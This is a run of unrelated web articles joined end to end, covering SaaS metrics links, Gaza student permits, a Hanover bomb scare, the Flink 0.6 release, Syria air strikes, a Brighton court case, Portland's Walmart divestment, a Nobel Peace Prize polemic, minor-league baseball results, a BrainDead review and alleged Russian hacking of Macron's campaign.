According to Will Fraser, CEO of Referral SaaSquatch, brand affinity is more important than brand awareness. Rich content can help you make this leap, and Fraser shows you how to use this powerful marketing tool to your advantage in his Roojoom guest post.
What are the Key Marketing Metrics for SaaS Companies?
SaaS marketers need to know about more than just unique visitors and bounce rates. For a full rundown of the metrics SaaS companies should be tracking, check out this helpful blog post by John McTigue of Kuno Creative.
The Metrics-Driven SaaS Business
In a post on his Chaotic Flow blog, Joel York writes that, “we are on the verge of a metrics revolution in the way SaaS businesses are managed.” To see what this looks like in practice, take a look at his excellent profile of a metrics-driven SaaS business.
SaaS Metrics 2.0 – A Guide to Measuring and Improving What Matters
Finally, while we’re discussing SaaS metrics, you can’t miss VC David Skok’s comprehensive guide on the subject. Be warned, though – the post itself clocks in at around 8,000 words, so you’ll want to set aside some focused time to dive into its stellar content.
Got another great SaaS marketing link? Share it in the comments section below so that everyone can benefit!The ease with which Israel can give and take away, allow and deny, isn’t just disturbing and depressing, it’s also further proof, in case anyone needed any, that Israel’s control over daily life in Gaza is immense.
By Amir Rotem
Early last week, the Palestinian media reported that the Palestinian Civil Affairs Committee had reached some new understandings in its talks with Gaza District Coordination Offices (DCO) officials and that, among other things, for the first time in 15 years, Gaza residents would be allowed to travel to the West Bank for academic studies. On Wednesday, the Israeli Coordinator of Government Activities in the Territories (COGAT) posted (Hebrew) on its website that 50 students from Gaza would be permitted to study in the West Bank.
Only a few hours later, when the news caught the media’s attention, COGAT’s spokesperson said that the publication was the result of an error. A copy of the “Closure Permissions Status” document, a document that lists the restrictions imposed on the Palestinian public and is updated every few weeks, was removed from COGAT’s website and was reposted only the next day, after the section was deleted.
What went on behind the scenes in those lost hours between the publication and the decision to remove it? According to members of the Palestinian Civil Affairs Committee, the issue was agreed in advance and the Israeli publication merely confirmed it. It takes a large dose of suspension-of-disbelief to simply accept COGAT’s claim that this was a “clerical error,” as they called it.
And why should news that 50 students who might, perhaps, at some point, under some conditions, receive a permit to study cause such a stir? Mainly because it was supposed to show yet another crack to Israel’s insistence that its closure concept, i.e. that isolating the Gaza Strip and separating its residents from the other part of the Palestinian territory, is legitimate and necessary for political and security reasons. Without going into the nature of this “policy,” which, as stated by a cabinet member, the defense minister could only say was a result of “inertia,” it is possible to say that the Israel-Hamas ritual of violence, with the terrible price it exacts, is probably the strongest proof that the system has failed. Surprisingly, top security officials have acknowledged this and have changed their tune (Hebrew) since the last round of violence ended, exactly six months ago.
As part of the official commitment pledged to mobilizing for Gaza’s reconstruction, its economic recuperation and its’ residents return to normal life, a lot more has to be done than the baby steps Israel has taken so far. More construction materials must be allowed in for rebuilding, but access to markets, professional opportunities and academic opportunities are no less important. Academic freedom will allow Gaza’s younger population to train in critical professions, access education and play a part in building a functioning society, which, most people agree, if allowed to thrive would help make the region more balanced.
The ease with which Israel can give and take away, allow and deny, isn’t just disturbing and depressing, it’s also further proof, in case anyone needed any, that Israel’s control over daily life in Gaza is immense. The moment Israel assumes this control, it must understand that it comes with a responsibility for civilian life – a responsibility it can’t just shrug off. Basic human rights, including the right to education, are just one aspect of this responsibility.
Amir Rotem is the Director of Gisha’s Public Department. This article first appeared in Hebrew on +972’s sister site, Local Call. Read it in Hebrew here.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
HANOVER, Germany - A friendly soccer game between hosts Germany and Netherlands in Hanover was called off less than two hours before its start on Tuesday for fear of a bomb attack.
Other locations across the city were also evacuated, but a German official later confirmed that no explosives were found and no arrests were made.
Earlier in the evening, Hanover Police President Volker Kluwe said there were "specific indications" of a planned attack with explosives at the game."We had received specific indications that an attack with explosives was planned," Kluwe told NDR state broadcaster. "We took them seriously and that is why we took the measures,"Regarding the soccer stadium, police said that "the visitors, who were already in the stadium at that time, were asked to leave the stadium without panicking."Apart from stadium, police also evacuated Hanover's TUI multi-purpose arena where a concert was about to start, and what seemed to be a suspicious object was found at a local train station.After Friday's attacks in Paris, security measures in Hanover had been tight. German Chancellor Angela Merkel was set to attend with Vice Chancellor Sigmar Gabriel and government ministers, in a show of solidarity with France.Two Dutch government ministers attending the match - Defense Minister Jeanine Hennes and Health and Sport Minister Edith Schippers - were returning home.The world champions had not initially wanted the game to go ahead after having played against France in Paris on Friday as a wave of attacks hit the city, killing 129 people.The contingent of 80 Germans, including players, coaches and staff, then spent the night holed up in the changing rooms of the Stade de France stadium as the attacks took place across the capital, before heading for the airport on Saturday morning.But the players, coaches as well as the national football association then decided to go ahead with the game to show unity.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>26 Aug 2014
We are happy to announce the availability of Flink 0.6. This is the first release of the system inside the Apache Incubator and under the name Flink. Releases up to 0.5 were under the name Stratosphere, the academic and open source project that Flink originates from.
What is Flink?
Apache Flink is a general-purpose data processing engine for clusters. It runs on YARN clusters on top of data stored in Hadoop, as well as stand-alone. Flink currently has programming APIs in Java and Scala. Jobs are executed via Flink’s own runtime engine. Flink features:
Robust in-memory and out-of-core processing: once read, data stays in memory as much as possible, and is gracefully de-staged to disk in the presence of memory pressure from limited memory or other applications. The runtime is designed to perform very well both in setups with abundant memory and in setups where memory is scarce.
POJO-based APIs: when programming, you do not have to pack your data into key-value pairs or some other framework-specific data model. Rather, you can use arbitrary Java and Scala types to model your data.
Efficient iterative processing: Flink contains explicit “iterate” operators that enable very efficient loops over data sets, e.g., for machine learning and graph applications.
A modular system stack: Flink is not a direct implementation of its APIs but a layered system. All programming APIs are translated to an intermediate program representation that is compiled and optimized via a cost-based optimizer. Lower-level layers of Flink also expose programming APIs for extending the system.
Data pipelining/streaming: Flink’s runtime is designed as a pipelined data processing engine rather than a batch processing engine. Operators do not wait for their predecessors to finish in order to start processing data. This results to very efficient handling of large data sets.
Release 0.6
Flink 0.6 builds on the latest Stratosphere 0.5 release. It includes many bug fixes and improvements that make the system more stable and robust, as well as breaking API changes.
The full release notes are available here.
Download the release here.
ContributorsGETTY Britain is thought to be plotting air strikes against Isis in Syria
French President Francois Hollande said his country will start reconnaissance flights on Tuesday with a view to launching attacks on Islamic State militants, but ruled out sending troops on the ground. The Prime Minister said on Friday that he would only seek Parliament's approval to extend RAF bombing operations against IS - also known as Isil or Isis - into neighbouring Syria if he was confident there was a "genuine consensus". He has been wary of a repeat of his 2013 defeat when military action against Syrian dictator Bashar Assad was rejected by MPs. But he and Chancellor George Osborne have made clear that they see a strong case for air strikes within Syria, and expectations are high of a Commons vote soon after the September 12 election of a new Labour leader Mr Osborne said Britain must tackle the "evil Assad regime and the Isil terrorists" as sources in Paris revealed that president Francois Hollande is set to green light a new wave of French airstrikes. Russia has reportedly already sent fighter pilots to the country - which is being gripped by a bloody civil war - after agreeing a military alliance with Iran. Now David Cameron is under pressure from senior Tories to bring forward plans to extend RAF airstrikes into Syria as the migrant crisis deepens. On Saturday Mr Osborne delivered the strongest indication yet that the Government is considering military action in the region as a way of ending a war that has forced tens of thousands of people to flee to Europe.
GETTY RAF jets could be used to bomb Isis in Syria
He said: "You have got to deal with the problem at source which is this evil Assad regime and the Isil terrorists. "You need a comprehensive plan for a more stable, peaceful Syria - a huge challenge of course, but we can't just let that crisis fester. We have got to get engaged in that. "There are lots of things that we need to do and it is only by doing them all that you have a solution to this great, great challenge."
GETTY France is reportedly plotting strikes against Isis amid a growing migrant crisis
You have got to deal with the problem at source which is this evil Assad regime and the Isil terrorists George Osborne
His comments came after former Defence Minister Liam Fox said Britain should begin airstrikes in Syria to create safe havens within the country, where refugees can shelter without making the perilous journey to Europe. He said: "The policy of attacking Isis in Iraq but not in Syria is patently absurd which not only makes us less effective militarily but diminishes us in the eyes of other partners in the coalition. "Hand-wringing about the tragedy of the refugees is not enough. It is time that action was taken to deal with the root of the problem."
However, Mr Cameron has previously promised to put any plans for military action before parliament and he is thought to be reluctant to risk a bruising commons defeat over the issue. The situation would be complicated further if Jeremy Corbyn is elected Labour leader, as he has vowed to oppose any military action in the middle east. The announcement came as military sources in France indicated that Mr Hollande is set to approve a wave of airstrikes against Isis in Syria. High level sources at the Elysee Palace told newspaper Le Monde that the French government has changed its stance on bombing Syria because of the growing migrant crisis in Europe.
AP Thousands of people are fleeing the clutches of Isis in Syria
GETTY Francois Hollande is set to approve French airstrikes in Syria
There have been chaotic scenes in Hungary this week as the country struggles to cope with the sheer numbers of migrants and refugees descending on its borders. More than 2,500 have died trying to make the perilous crossing into Europe, with many drowning in the Mediterranean after being crammed onto rickety smugglers' boats. European leaders have been savagely criticsed for their response to the crisis, with deep divisions emerging between member states.Graham outside Brighton magistrates court where she is on trial for wasting police time
A stripper who once lap danced for Simon Cowell on Britain's Got Talent assaulted a man on a stag night and falsely accused him of sexual assault, a court heard.
Kerri Graham, who appeared in the 2013 series of the TV talent show, clashed with the groom's brother-in-law after she was paid to perform for a group of men in Brighton.
The city's magistrates' court was told how the chaotic night unfolded in March this year after the group, including host Rakesh Pathak, hired Graham for the party.
Prosecutors described how Graham was refused permission to strip in a bar the men were drinking in, and was then rejected by a nearby nightclub.
She offered to perform for the groom in her car, which was parked nearby, but was told he was 'handcuffed to a dwarf' and they couldn't all squeeze into her Hyundai, the court heard.
Instead, the groom's brother-in-law Mr Pathak went to her car but her performance was interrupted by two security guards who flashed torches in the car window, magistrates were told.
The four engaged in 'banter' and Graham 'jiggled her breasts' as one of the guards told her: 'My partner's are bigger,' the court heard.
But the stripper and her customer were told to move on and, after a short drive away from the car park, got into an argument when she refused to continue her performance, the court heard.
Stripper Kerri Graham found fame appearing on Britain's Got Talent in 2013. But she is now on trial for assault and wasting police time following a row with a member of a stag party
Mr Pathak claims she refused to return his money and threatened to say he had raped her when he grabbed her bag to look for it.
The court heard he took her bag 'to bargain' with her and ripped the rear windscreen wiper from her car.
Mr Pathak claims Graham struck him on the forehead while holding her phone, leaving him with a cut, and a picture of his wound was shown to the jury.
Graham then made a 999 call, which was played to the court, in which she said she was 'being attacked'. Mr Pathak can be heard in the background saying 'no you're f****** not'.
Mr Pathak then left, but was later arrested at a bar called Vodka Revolution on suspicion of assault, sexual assault and criminal damage, the court heard.
He later admitted criminal damage and paid a fixed penalty notice, and received no further action for the other alleged offences.
Graham denied assaulting a client when she took the stand at the trial.
In her police statement, Graham told officers Mr Pathak had followed her to her car and they had met in a club.
She said she did not want to tell officers her job at the time because she was embarrassed.
She and a customer allegedly clashed near this car park after she offered to perform in her car
When prosecutor Ayisha Robertson put the inconsistencies to Graham, she said it was because she was traumatised and shocked by what had happened.
Graham told Ms Robertson: 'You're evil. You guys should be representing me. You know in your heart that you should be representing me. This has been nine months of hell for me.'
The court heard Graham claimed Mr Pathak assaulted her by punching her in the face twice after a row. She said he tried to get his money back when she said his time was up.
Graham claimed he stole her bag and taunted her as she tried to get it back and at one point twisted her arm when she got hold of it.
Graham, 48, of Thurrock, Essex, denies assault and wasting police time.
The trial continues.“The Walmart-Free City,” by Amy Merrick.
In October, the city council of Portland, Oregon, in between updating the payroll system for the police honor guard and changing the duties of the golf advisory committee, adopted a resolution banning Walmart—and Walmart alone— from the city’s investment portfolio. The resolution, unanimously approved, cited an anonymous executive who was quoted in Charles Fishman’s 2006 book, “The Wal-Mart Effect,” saying, “They have killed free-market capitalism in America.”
Earlier this month, Portland began to cut Walmart out of its investment portfolio. The first of the city’s five Walmart bonds reached maturity and will not be replaced. Portland’s Walmart holdings had represented about three per cent of its portfolio of roughly one billion dollars. In 2016, when the last bond matures, the city council will be rid of Walmart investments entirely.
Portland is the first major U.S. city to formally divest from the retailer, but in Europe institutional investors have been rejecting Walmart for years. Last year, two large Dutch pension funds said that they would no longer invest in Walmart because of its labor practices, especially its fierce opposition to unions. The fund managers also raised concerns about Walmart’s alleged bribery of Mexican officials—a scandal that the company has spent more than four hundred million dollars investigating. Sweden’s pension funds sold their Walmart bonds last fall, and, in 2006, Norway’s Ministry of Finance excluded Walmart from its pension fund, citing alleged human-rights and labor violations.
Divestment campaigns typically have specific pressure points; the best-known effort, in the nineteen-seventies and eighties, was aimed at getting companies to withdraw from South Africa to oppose apartheid. The effects of such campaigns are hard to measure. A 1999 study of the anti-apartheid movement found that the divestment campaign did little harm to the target companies’ stock prices. But if it reinforced the public revulsion to apartheid, the authors suggest, it may have hastened the end of the regime in other ways. In the past few years, students have exhorted universities to divest from companies that profit from coal and other fossil fuels.
In Portland, the city council expressed a diffuse constellation of grievances. Walmart “exerts considerable downward pressure on wages”; it “significantly reduced health insurance benefits for part-time employees” by changing eligibility standards; it “has focused on fast, low-cost production at the expense of basic safety measures for employees.” It isn’t clear what, if anything, the retailer could do to regain favor. Commissioner Steve Novick, who led the push for the do-not-buy list, wrote in a blog post, “You have to start somewhere—and we might as well start with a company that is openly, notoriously and extravagantly bad to the bone.” Others in the city’s investment portfolio might be next, he warned: “General Electric is a poster child for tax evasion. Coca-Cola is practically in the business of increasing the incidence of diabetes.”
Walmart has always been an uneasy fit for the bike-commuting, kitchen-composting, backyard-chicken-raising denizens of Portland. A former mayor, Sam Adams, vociferously opposed Walmart’s expansion in Portland during his tenure as a city commissioner, even hanging a sign from his office window in which the retailer’s smiley-face logo had been recast with a frowning expression and angry eyebrows. But as mayor Adams didn’t try to block a Walmart supercenter that opened in Portland last year, and Charlie Hales, the current mayor, didn’t appear at Novick’s press conference. Residents’ opposition to new Walmarts also seems more muted than it used to be.
Portland isn’t trying to kick out the two Walmart supercenters within city limits, which together employ about five hundred and fifty people, or halt construction on the two suburban supercenters that the retailer plans to open later this year—and for which it will hire another six hundred workers. (In the suburbs, Walmart has five more supercenters and eight “neighborhood markets,” smaller stores that primarily sell groceries.) “Portland is a food city, with the legendary food carts, numerous farmers markets and community gardens,” Walmart posted on its Web site about its business in Oregon. “For families that are unable to access these avocations, Walmart offers many options at affordable prices.”
Living with Walmart is complex—sort of like living with an assertive, charismatic, and powerful family member. Research from Jerry Hausman, an economist at M.I.T., shows that, when Walmart enters a new market, it drives down grocery prices in general; to compete with Walmart’s low prices, other stores lower their own prices. Low-income families benefit most, because they spend a greater proportion of their wages on food. But Walmart’s presence can also hurt those same families, because it tends to reduce over-all retail employment—perhaps by driving out smaller stores, which typically employ more workers per dollar of sales. On the one hand, Walmart helps the city, county, and state budgets; it pays various taxes, and its employees pay income tax. (Oregon has no sales tax.) On the other hand, as the nation’s largest private employer, and one that offers mostly low-wage jobs, its workers are prime beneficiaries of food stamps and Medicaid, funded by taxpayer dollars.
It gets more complicated. In Portland, Walmart’s store in the Delta Park neighborhood, which opened last year, houses the city’s largest green roof—forty thousand square feet of vegetation and sediment, which helps to cool the store, reduce storm-water runoff, and convert carbon monoxide to oxygen. Students and faculty at Portland State University’s Green Building Research Laboratory will study the building for the next two years. Jonathan Fink, the university’s vice-president for research and strategic partnerships, said that the research “will contribute to better, more sustainable buildings around the world.”
Two years ago, @WalmartLabs, a technology division of the retailer, purchased Small Society, a highly regarded mobile developer based in Portland that had created apps for Starbucks, Whole Foods, and Zipcar—companies whose culture better matches Portland’s ethos. One of Small Society’s founders had even developed an iPhone app for Obama’s 2008 campaign. Some residents accused Small Society of selling out; after all, even its name seemed opposed to Walmart’s values. Others were pleased that a homegrown business had attracted the attention of a global company. After purchasing Small Society, @WalmartLabs leased nearly nine thousand square feet in downtown Portland and more than doubled the staff.
Last year, Walmart donated nearly five million pounds of food to Oregon’s food banks—enough for more than four million meals. In addition, Walmart and its foundation gave nine and a half million dollars to the state in charitable donations, including thirty-five thousand dollars to Our House of Portland, which used the money to provide nearly three thousand food boxes to people living with H.I.V. and AIDS. Walmart gave nearly twenty-nine thousand dollars to the Portland Rescue Mission, to expand services for homeless men, women, and children, and nearly sixty-three thousand dollars to Portland Adventist Community Services, to pay for a new van for meal delivery and food distribution. Opponents argue that if Walmart didn’t exist over-all wages would be higher, so residents wouldn’t need so many services geared toward low-income people. That’s hard to quantify. Walmart hardly has a huge presence in Oregon, and yet poverty and other ills persist.
Walmart provided information about its activities in Oregon, but the company declined to respond to a request for comment about Portland’s divestment. “We wouldn’t comment on anyone’s decision to invest,” a spokeswoman, Delia Garcia, told me.
In the Portland area, Walmart has been both a friend and a foe to small businesses. A 2010 study in the Journal of Urban Economics, which examined more than a thousand openings of big-box stores, found that Walmart and other large chains had a substantial negative impact on both single-unit businesses and smaller chains—but only when the big-box store was in the immediate area and sold the same types of merchandise.
In Cornelius, a half-hour drive from downtown Portland, Grande Foods, an independent grocer, closed shortly after Walmart opened a new store, in 2010, and its owner called the increased competition too much to bear. But Beto Cuellar, who owns another nearby grocer, Super Mercado San Alejandro, told the local paper last year that the closing of Grande Foods and the opening of Walmart combined to increase his sales by thirty per cent. People stocking up at Walmart visit his small store for specialty foods like chayote pear squash, cactus fruit, and sweet concha bread, he said, adding, “Even people who work at Walmart come eat lunch here.”
Fishman studied the rest of the city’s investment portfolio after the decision. “It’s okay to invest in G.E., which destroyed the Hudson River with dioxin, but it’s not okay to invest in Walmart?” he asked me. “J.P. Morgan? There are ten banks on this list that brought down the entire U.S. economy.”
Fishman’s book is frequently critical of Walmart, and he has long called for communities to consider the impact of new businesses. But he says that residents have the most leverage before Walmart opens a store. “I am acutely aware of the long list of ways in which Walmart could be a much better company and a much better corporate citizen,” he said. “But I’m acutely aware of the ways in which McDonald’s and Subway could, too. If you’re buying off the dollar menu, do you think the people handing you the hamburger have really good health insurance?”
In recent years, Fishman noted, Walmart has begun to respond to public displeasure. It discloses more information, particularly about its environmental impact. And it has added programs that benefit low-income customers, such as its four-dollar prescription-drug list. That doesn’t mean he believes that the Walmart effect is entirely good—but it does mean that critics need to be specific about what changes they want. He called the Portland divestment “a little bit theatrical and a little bit cheap.”
Despite its undisputed dominance—Walmart’s sales last year reached nearly five hundred billion dollars—the company is under strain owing to competition from rivals such as Amazon, and because customers are struggling financially. On the same day that Commissioner Steve Novick held a press conference to announce Portland’s divestment, Walmart reported weak quarterly sales and profits.
There’s no guarantee that Walmart will remain a juggernaut. The cautionary tale, of course, is Sears, the world’s largest retailer in the seventies and eighties, which ignored Walmart until it was too late. As much as Portland’s politicians worry about the Walmart effect today, they might consider adopting broader guidelines that would set standards not only for Walmart, but for the upstarts that are fighting to take its place.
_
Photograph by Alex Milan Tracy/Demotix/Corbis.Those who own the wealth of nations take care to downplay the immensity of their holdings while emphasizing the supposedly benign features of the socio-economic order over which they preside. With its regiments of lawmakers and opinion-makers, the ruling hierarchs produce a never-ending cavalcade of symbols, images, and narratives to disguise and legitimate the system of exploitative social relations existing between the 1% and the 99%.
The Nobel Peace Prize would seem to play an incidental role in all this. Given the avalanche of system-sustaining class propaganda and ideological scenarios dished out to us, the Nobel Peace Prize remains just a prize. But a most prestigious one it is, enjoying a celebrated status in its anointment of already notable personages.
In October 2012, in all apparent seriousness, the Norwegian Nobel Committee (appointed by the Norwegian Parliament) bestowed the Nobel Peace Prize upon the European Union (EU). Let me say that again: the European Union with its 28 member states and 500 million inhabitants was awarded for having "contributed to the advancement of peace and reconciliation, democracy, and human rights in Europe." (Norway itself is not a member of the EU. The Norwegians had the good sense to vote against joining.)
Alfred Nobel's will (1895) explicitly states that the peace prize should go "to the person who shall have done the most or the best work for fraternity between nations, for the abolition or reduction of standing armies and for the holding and promotion of peace congresses." The EU is not a person and has not worked for the abolition or reduction of standing armies or promotion of any kind of peace agenda. If the EU award looked a bit awkward, the BBC and other mainstream news media came to the rescue, referring to the "six decades of peace" and "sixty years without war" that the EU supposedly has achieved. The following day, somebody at the BBC did the numbers and started proclaiming that the EU had brought "seventy years of peace on the European continent." What could these wise pundits possibly be thinking? Originally called the European Economic Community and formed in 1958, the European Union was established under its current name in 1993, about twenty years ago.
The Nobel Committee, the EU recipients, and the western media all overlooked the 1999 full-scale air war launched on the European continent against Yugoslavia, a socialist democracy that for the most part had offered a good life to people of various Slavic nationalities—as many of them still testify today.
The EU did not oppose that aggression. In fact, a number of EU member states, including Germany and France, joined in the 1999 war on European soil led largely by the United States. For 78 days, U.S. and other NATO forces bombed Yugoslavian factories, utilities, power stations, rail systems, bridges, hotels, apartment buildings, schools and hospitals, killing thousands of civilians, all in the name of a humanitarian rescue operation, all fueled by unsubstantiated stories of Serbian "genocide." All this warfare took place on European soil.
Yugoslavia was shattered, along with its uniquely designed participatory democracy with its self-management and social ownership system. In its place emerged a cluster of right-wing mini-republics wherein everything has been privatized and deregulated, and poverty has replaced amplitude. Meanwhile rich western corporations are doing quite well in what was once Yugoslavia.
Europe aside, EU member states have sent troops to Afghanistan, Iraq, Libya, and additional locales in Africa, the Middle East, and Central Asia, usually under the tutorship of the U.S. war machine.
But what was I to expect? For years I ironically asserted that the best way to win a Nobel Peace Prize was to wage war or support those who wage war instead of peace. An overstatement perhaps, but take a look.
Let's start back in 1931 with an improbable Nobel winner: Nicholas Murray Butler, president of Columbia University. During World War I, Butler explicitly forbade all faculty from criticizing the Allied war against the Central Powers. He equated anti-war sentiments with sedition and treason. He also claimed that "an educated proletariat is a constant source of disturbance and danger to any nation." In the 1920s Butler became an outspoken supporter of Italy's fascist dictator Benito Mussolini. Some years later he became an admirer of a heavily militarized Nazi Germany. In 1933, two years after receiving the Nobel prize, Butler invited the German ambassador to the U.S. to speak at Columbia in defense of Hitler. He rejected student appeals to cancel the invitation, claiming it would violate academic freedom.
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Jump ahead to 1973, the year one of the most notorious of war criminals, Henry Kissinger, received the Nobel Peace Prize. For the better part of a decade, Kissinger served as Assistant to the President for National Security Affairs and as U.S. Secretary of State, presiding over the seemingly endless blood-letting in Indochina and ruthless U.S. interventions in Central America and elsewhere. From carpet bombing to death squads, Kissinger was there beating down on those who dared resist U.S. power. In his writings and pronouncements Kissinger continually talked about maintaining U.S. military and political influence throughout the world. If anyone fails to fit Alfred Nobel's description of a prize winner, it would be Henry Kissinger.
In 1975 we come to Nobel winner Andrei Sakharov, a darling of the U.S. press, a Soviet dissident who regularly sang praises to corporate capitalism. Sakharov lambasted the U.S. peace movement for its opposition to the Vietnam War. He accused the Soviets of being the sole culprits behind the arms race and he supported every U.S. armed intervention abroad as a defense of democracy. Hailed in the west as a "human rights advocate," Sakharov never had an unkind word for the horrific human rights violations perpetrated by the fascist regimes of faithful U.S. client states, including Pinochet's Chile and Suharto's Indonesia, and he aimed snide remarks at the "peaceniks" who did. He regularly attacked those in the West who opposed U.S. repressive military interventions abroad.
Let us not overlook Mother Teresa. All the western world's media hailed that crabby lady as a self-sacrificing saint. In fact she was a mean spirited reactionary who gladly welcomed the destruction of liberation theology and other progressive developments in the world. Her "hospitals" and "clinics" were little more than warehouses for the dying and for those who suffered from curable diseases that went untreated---eventually leading to death. She waged campaigns against birth control, divorce, and abortion. She readily hobnobbed with the rich and reactionary but she was so heavily hyped as a heavenly heroine that the folks in Oslo just had to give her the big medal in 1979.
Then there was the Dalai Lama who was awarded the Nobel Peace Prize in 1989. For years the Dalai Lama was on the payroll of the CIA, an agency that has perpetrated killings against rebellious workers, peasants, students, and others in countries around the world. His eldest brother played an active role in a CIA-front group. Another brother established an intelligence operation with the CIA, which included a CIA-trained guerrilla unit whose recruits parachuted back into Tibet to foment insurgency. The Dalai Lama was no pacifist. He supported the U.S./NATO military intervention into Afghanistan, also the 78 days' bombing of Yugoslavia and the destruction of that country. As for the years of carnage and destruction wrought by U.S. forces in Iraq, the Dalai Lama was undecided: "it's too early to say, right or wrong," said he in 2005. Regarding the violence that members of his sect perpetrated against a rival sect, he concluded that "if the goal is good then the method, even if apparently of the violent kind, is permissible." Spoken like a true Nobel recipient.
In 2009, in a fit of self parody, the folks in Oslo gave the Nobel Peace Prize to President Barack Obama while he produced record military budgets and presided over three or four wars and a number of other attack operations, followed a couple of years later by additional wars in Yemen, West Pakistan, Libya, and Syria (with Iran pending). Nobel winner Obama also proudly hunted down and murdered Osama Bin Laden, having accused him—without a shred of evidence—of masterminding the 9/11 attacks on the World Trade Center and the Pentagon.
You could see that Obama was somewhat surprised—and maybe even embarrassed—by the award. Here was this young drone commander trying to show what a tough-guy warrior he was, saluting the flag-draped coffins one day and attacking other places and peoples the next—acts of violence in support of the New World Order, certainly every bit worthy of a Nobel peace medal.
There are probably other Nobel war hawks and reactionaries to inspect. I don't pretend to be informed about every prize winner. And there are a few worthy recipients who come to mind, such as Martin Luther King, Jr., Linus Pauling, Nelson Mandela, and Dag Hammarskjöld.
Let us return to the opening point: does the European Union actually qualify for the prize? Vancouver artist Jennifer Brouse gave me the last (and best) word: "A Nobel Prize for the EU? That seems like a rather convenient and resounding endorsement for current cutthroat austerity measures. First, corporations are people, then money is free speech, now an organization of nation states designed to thwart national sovereignty on behalf of ruling class interests receives a prize for peace. On the other hand, if the EU is a person then it should be prosecuted for imposing policies leading directly to the violent repression of peaceful protests, and to the misery and death of its suffering citizens."
In sum, the Nobel Peace Prize often has nothing to do with peace and too much to do with war. It frequently sees "peace" through the eyes of the western plutocracy. For that reason alone, we should not join in the applause.Workers in fields like technology and academia are posting more information about their professional lives online, creating a pool of public data that can be machine-sifted to find job candidates.
That’s the idea behind Entelo, a start-up that believes algorithms can replace much of the heavy lifting performed by recruiters and HR departments. The San Francisco-based company, |
runs to tie and then beat the Diamondbacks.
FROM YESTERDAY’S JOURNAL
Matt Williams returns to Arizona for first time as Nationals manager
Nationals’ defense costing runs, causing frustration
Nationals sign Greg Dobbs to minor league deal
NATS MINOR LEAGUES
Columbus 5, Syracuse 4: Ryan Tatusko allowed only one unearned run and two hits over six innings, lowering his ERA to 1.85. Daniel Stange earned the loss for allowing one run on two hits. Jhonatan Solano hit his sixth home run, a two-run shot. Brock Peterson went 2 for 5 and hit his first shot of the season.
Harrisburg was rescheduled.
Potomac 8, Frederick 4: Ronald Pena allowed four runs, two earned, over six innings and struck out eight. Derek Self earned the win with three scoreless innings. Brandon Miller hit his 10th home run and drove in three runs. Stephen Perez drove in two runs.
Hagerstown 2, Kannapolis 1: Austin Voth fired five scoreless innings and struck out seven. Robert Orlan allowed one run over four innings. Wilmer Difo went 2 for 5 with an RBI. Drew Ward scored the winning run in the bottom of the 11th after James Yezzo reaches on a fielding error.You might think (sorry) that BrainDead would continue on the comedy heavy presentation it has thus far relied on. “The Power of Euphemism: How Torture Became a Matter of Debate in American Politics” still has a deft comedic touch but it shifts into horror. Beginning with a threat to Laurel. This key change resulted in the first really disturbing episode this season.
A succinct recap of episode seven, has Gustav transmitting the bug signal instead of just using it to track who is infected. Gareth learns that Laurel believes bugs are eating people’s brains. Rochelle and Gustav learn who is infected. They also find hat their abbreviated signal changes the bug people’s behavior.
Red has a huge female alien bug scarper out of his earhole and lay eggs. Wheatus then sacrifices “Mike the Intern,” so his head will explode in front of the FBI director; Louis Marchant (Jeremy Shamos). Laurel is then targeted by Red Wheatus for questioning under torture by the FBI.
This is where BrainDead shifts gears substantially. Tapping into modern America’s fixation with terrorism and fighting fire with fire puts this episode firmly into real terror. The USA has been governing by the use of well place fear mongering since 9/11.
Torture of suspects and people brought in for questioning is a real issue. Have trouble believing that? Google Guantanamo Bay. The white hatted good guys that the US have always strived to be took a vacation at that little resort.
The “Bay” was not the only instance where the “heroes” resorted to tactics used by the “enemy” to extract information either. In a time where the American government uses drones to spy on its own citizens (All in the interests of national security.) is this episode too much?
No, it is not.
Laurel’s predicament is a seat squirming exercise for the viewer. We want to believe that there will be a last minute reprieve. (There is but it is very last minute indeed.) Right up until things go pear shaped for Red and his bug cronies, the FBI are primed and ready to “control immersion” (waterboard) Laurel. This as a startup to the proceedings. One can easily imagine things going rapidly downhill from there.
Sidenote: The splendid and prolific character actor Kurt Fuller plays J.K. Cornish as a smiling Mr. Nice Guy. He even shakes Laurel’s hand after her ordeal is over. This was a bit of brilliant casting and Fuller just kills it as the “master interrogator.”
The suspense level is high. Laurel keeps stalling her potential torturers with legalities. Her brother; Senator Healy, signs the papers authorizing the Q&A initially. He then has second thoughts and learns that the FBI intend to question his sister.
This was one long edge of the seat moment where the comedy/horror element was dropped by the inclusion of this storyline. The FBI, and the Republican, catchphrases in this episode were: national security, ticking clock and links to terrorism. The most frightening part was the tenuous link the authorities made between Laurel and a muslim ambulance driver.
Scary? You bet. Far-fetched? Do not bet your White Anglo Saxon Protestant life on it. With a real life presidential candidate who seems to have escaped from Stephen King’s “The Dead Zone” this episode is not OTT at all.
Show creators Robert and Michelle King (no relation to Stephen apparently), along with Laura Marks, have taken the comedy down a notch. There are still funny moments in the episode; think Gustav and Rochelle getting bug people to walk into walls and hold their hands up, but these take a back seat this go around.
In a country where local police departments have been outfitted to fight a small war, where the NSA spies on the populace via Xbox, laptops, phones, drones and devices that can look through your walls, this series just left its comedy dangling. It has instead slipped into fictional horror that could be imitating real life.
BrainDead has given its protagonists a weapon now, via Gustav’s frequency device, so when the show resumes its comedy and horror mix the good guys have a fighting chance. Laurel escapes her worse than death fate this episode leaving her to fight another day.
CBS moved the series to Sunday and as a result the show’s popularity has risen substantially. Tune in and see how Laurel and her team do in the fight against the bug people. Barring that, stop by to see what crawls out of Red’s ear next.
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Like this: Like Loading...Is Russia interfering in the French election? One of Emmanuel Macron's aides claims so
Is Russia interfering in the French election? One of Emmanuel Macron's aides claims so
Emmanuel Macron, the favourite to win the French presidency, continues to be targeted by Russia in a parallel campaign of hacking and fake news, according to his digital campaign manager.
Mounir Mahjoubi has told Sky News that Russia is behind continued "high level attacks" and its state-sponsored media are the "first source of false information".
"Let's be precise on that," he said.
"We are accusing Russia Today (RT) and Sputnik News (of being) the first source of false information shared about our candidate and all the other symbiotic ways of working with all these fascist organisations or extreme right news organisations."
How the US election was 'hacked'
Mr Mahjoubi added: "At the same time, during the same period, with the same rhythm, we are the victim, the target of hackers on our servers.
